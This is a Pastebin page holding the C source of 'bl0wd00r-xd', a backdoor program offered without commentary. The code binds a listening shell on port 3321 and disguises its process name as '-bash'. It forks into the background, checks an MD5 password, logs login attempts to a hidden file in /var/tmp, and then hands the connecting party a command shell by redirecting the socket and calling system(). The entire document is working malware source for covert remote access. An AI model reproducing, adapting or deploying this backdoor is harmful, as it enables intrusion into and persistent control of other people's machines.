Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * bl0wd00r-xd.c
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <strings.h>
  7. #include <netinet/in.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <signal.h>
  11.  
  12. #define port    3321            // port to listen on
  13. #define term    "/bin/sh"       // program to run
  14. #define logs    "/var/tmp/.os"  // dir of logs
  15. #define pass    "" // password encrypted with md5sum !! important
  16. #define proc    "-bash" // hidden syntax
  17.  
  18. #define B 1024
  19.  
  20. char a[36];
  21.  
  22. static void bala(const char *b, int dodnet2) {
  23. if (!strcmp(b, "exit")) {
  24. exit(0);
  25. }
  26. if (!strncmp(b, "cd ", 3)) {
  27. if (chdir(b +3) < 0) perror("chdir");
  28. return ;
  29. } else {
  30. system(b);
  31. }
  32. }
  33.  
  34. mdpass(char *aa) {
  35.     FILE *temp;
  36.     char mps[1024];
  37.     snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
  38.     temp = popen(mps, "r");
  39.     memset(a, 0, 36);
  40.     fread(a, 32, 1, temp);
  41.     fclose(temp);
  42.     return a;
  43. }
  44.  
  45. int main (int argc, char *argv[]) {
  46.     int dodnet, dodnet2, size;
  47.     struct sockaddr_in local;
  48.     struct sockaddr_in remote;
  49.     char cmd[256];
  50.     strcpy (argv[0], proc);
  51.     signal (SIGCHLD, SIG_IGN);
  52.     bzero (&local, sizeof(local));
  53.     local.sin_family = AF_INET;
  54.     local.sin_port = htons (port);
  55.     local.sin_addr.s_addr = INADDR_ANY;
  56.     bzero (&(local.sin_zero), 8);
  57.     if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
  58.     if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); }
  59.     if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }
  60.     size = sizeof(struct sockaddr_in);
  61.     forkpid();
  62.     while (1) {
  63.        if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -1) { perror ("accept"); exit(1); }
  64.     if (!fork ()) {
  65.     char check[15], username[15];
  66.     int i;
  67.     send (dodnet2, "user: ", sizeof("user: "), 0);
  68.     recv (dodnet2, username, sizeof(username), 0);
  69.     send (dodnet2, "pass: ", sizeof("pass: "), 0);
  70.     recv (dodnet2, check, sizeof(check), 0);
  71.     for (i = 0; i < strlen (check); i++) {
  72.     if (check[i] == '\n' || check[i] == '\r') {
  73.     check[i] = '\0';
  74.     }
  75.        }
  76.     for (i = 0; i < strlen (username); i++) {
  77.     if (username[i] == '\n' || username[i] == '\r') {
  78.     username[i] = '\0';
  79.     }
  80.     }
  81.     if (strncmp(mdpass(check), pass,32) != 0) {
  82.        fuckoff(dodnet2, check, username);
  83.        } else {
  84.        getshell(dodnet2, username, dodnet);
  85.        }
  86.     }
  87.     else {
  88.        signal (SIGCHLD, SIG_IGN);
  89.        close(dodnet2);
  90.        }
  91.     }
  92.     close (dodnet2);
  93.     exit(0);
  94. }
  95.  
  96. forkpid() {
  97.     int pid;
  98.     signal(SIGCHLD,SIG_IGN);
  99.     pid = fork();
  100.     if(pid>0) {
  101.     sleep(1);
  102.     exit(EXIT_SUCCESS);
  103.     }
  104.     if(pid == 0) {
  105.     signal(SIGCHLD,SIG_DFL);
  106.     return getpid();
  107.     }
  108.     return -1;
  109. }
  110.  
  111. fuckoff(int dodnet2, char *tentou, char *identifica) {
  112.     FILE *aa;
  113.     char a[B];
  114.     signal(SIGCHLD,SIG_IGN);
  115.     aa=fopen(logs,"a+");
  116.     snprintf(a, sizeof(a),"date>>%s",logs);
  117.     system(a);
  118.     fprintf(aa,"Ident as:       %s",identifica);
  119.     fprintf(aa,"\nAction:       incorrect pass\n");
  120.     fprintf(aa,"Pass:       %s",tentou);
  121.     fprintf(aa,"\n-----------------------\n");
  122.     fclose(aa);
  123.     close (dodnet2);
  124.     exit(0);
  125. }
  126.  
  127. getshell(int dodnet2, char *identifica) {
  128.         FILE *aa;
  129.         char a[B];
  130.     char b[BUFSIZ];
  131.     int i;
  132.         aa=fopen(logs,"a+");
  133.         snprintf(a,sizeof(a),"date>>%s",logs);
  134.         system(a);
  135.         fprintf(aa,"Ident as:              (%s).",identifica);
  136.         fprintf(aa,"\nAction     :      correct password");
  137.     send (dodnet2, "Connected,logged In", sizeof("Connected,logged In"), 0);
  138.     send (dodnet2, "\nxdzr00t# ", sizeof("\nxdzr00t# "), 0);
  139.         fclose(aa);
  140.     close(0);
  141.     close(1);
  142.     close(2);
  143.     dup2 (dodnet2, 0);
  144.     dup2(dodnet2, 1);
  145.     dup2(dodnet2, 2);
  146.     for(;;) {
  147.     printf("xdzr00t# ");
  148.     fgets(b,256,stdin);
  149.     for (i=0;i<strlen (b);i++) {
  150.        if(b[i]=='\n' || b[i]=='\r') {
  151.     b[i]='\0';
  152.     }
  153.     }
  154.     bala(b,dodnet2);
  155.     fflush(stdout);
  156.     }
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement